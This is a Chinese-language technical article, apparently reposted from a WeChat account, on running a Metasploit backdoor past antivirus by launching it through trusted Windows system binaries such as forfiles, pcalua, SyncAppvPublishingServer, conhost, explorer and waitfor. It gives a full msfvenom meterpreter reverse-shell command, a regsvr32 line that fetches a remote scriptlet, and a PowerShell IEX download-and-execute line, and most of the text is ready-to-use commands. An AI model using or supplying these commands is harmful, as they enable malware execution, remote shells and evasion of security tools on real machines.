本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
在服务器上存在防病毒等防御软件时,在直接执行恶意后门文件时,会被拦截,如何通过间接执行的方式绕过安全检测?本文介绍几种方法。
首先使用 Metasploit 的 msfvenom
生成一个可执行文件。用这个文件作为需要隐藏的后门文件,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.58 LPORT=4444 -f exe > pentestlab.exe
forfiles
是一个命令行工具,可以选择文件并执行一个命令来操作文件。通常用于批处理作业,但可能会被滥用执行任意命令或文件。
参数 /p
指定搜索文件的目录,/m
指定搜索关键词,/c
指定要执行的命令,整体命令如下:
forfiles /p c:\windows\system32 /m calc.exe /c C:\tmp\pentestlab.exe
命令执行完毕,会执行 pentestlab.exe
,在 Metasploit 得到会话:
在系统上查看进程会发现,pentestlab.exe
进程是 forfiles.exe
的子进程:
也可以在 Windows“运行” 中直接输入以上命令,不需要打开 cmd 窗口:
pcalua.exe 是 windows 的系统文件,Windows 程序兼容性助理 (Program Compatibility Assistant) 的一个组件而已。程序位于 C:\Windows\System32
目录下,可以使用 “-a” 参数执行命令:
pcalua.exe -a C:\tmp\pentestlab.exe
命令执行成功,会得到一个 meterpreter 会话:
新创建的进程显示是父进程:
SyncAppvPublishingServer 是 win10 自带的服务,有 vbs 和 exe 两个版本,是用来启动 Microsoft 应用程序虚拟化的发布刷新操作,可以在 powershell 的窗口下执行 powershell 命令:
SyncAppvPublishingServer.vbs "n; Start-Process C:\tmp\pentestlab.exe"
执行成功后,返回 meterpreter 会话:
使用 regsvr32 也可以从远程位置执行恶意 payload,因为 SyncAppvPublishingServer 可以执行双引号中包含的任何内容:
SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.254.158:8080/jnQl1FJ.sct scrobj.dll"
可以使用路径遍历的方式来混淆监控系统并执行命令或有效载荷:
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
以下两条命令同样可以达到执行 calc 的效果:
ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE
or
cmd.exe /c "ping ;calc.exe; 127.0.0.1/../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE"
全称是 Console Host Process, 即命令行程序的宿主进程。简单的说他是微软出于安全考虑,在 windows 7 和 Windows server 2008 中引进的新的控制台应用程序处理机制,可以用下面的命令启动:
conhost.exe C:\tmp\pentestlab.exe conhost "pentestlab.blog C:\tmp\pentestlab.exe" conhost pentestlab.blog/../../tmp/pentestlab.exe
explorer.exe 是 Windows 程序管理器或者文件资源管理器,利用它执行恶意软件,父进程是 explore.exe
而不是 cmd.exe
explorer.exe C:\tmp\pentestlab.exe explorer.exe /root,"C:\tmp\pentestlab.exe" explorer.exe pentestlab.blog, "C:\tmp\pentestlab.exe"
上述所有命令都可以在 “运行” 中执行:
waitfor 是微软的程序,用于在网络中通过信号同步计算机。也可以使用它来进行命令执行:
waitfor pentestlab && PowerShell IEX (IWR http://bit.ly/L3g1t).Content waitfor /s 127.0.0.1 /si pentestlab
防病毒软件通过软件黑白名单的方式限制命令执行,因为很多系统自带的软件和程序无法进行拦截,会对系统的正常使用造成很大的影响,必然会被加白,所以这些加白后的软件都有可能成为攻击者关注的对象,用来绕过防病毒软件的检测,对抗的过程是源源不断的,这里并不是最全的,仅作参考!
公众号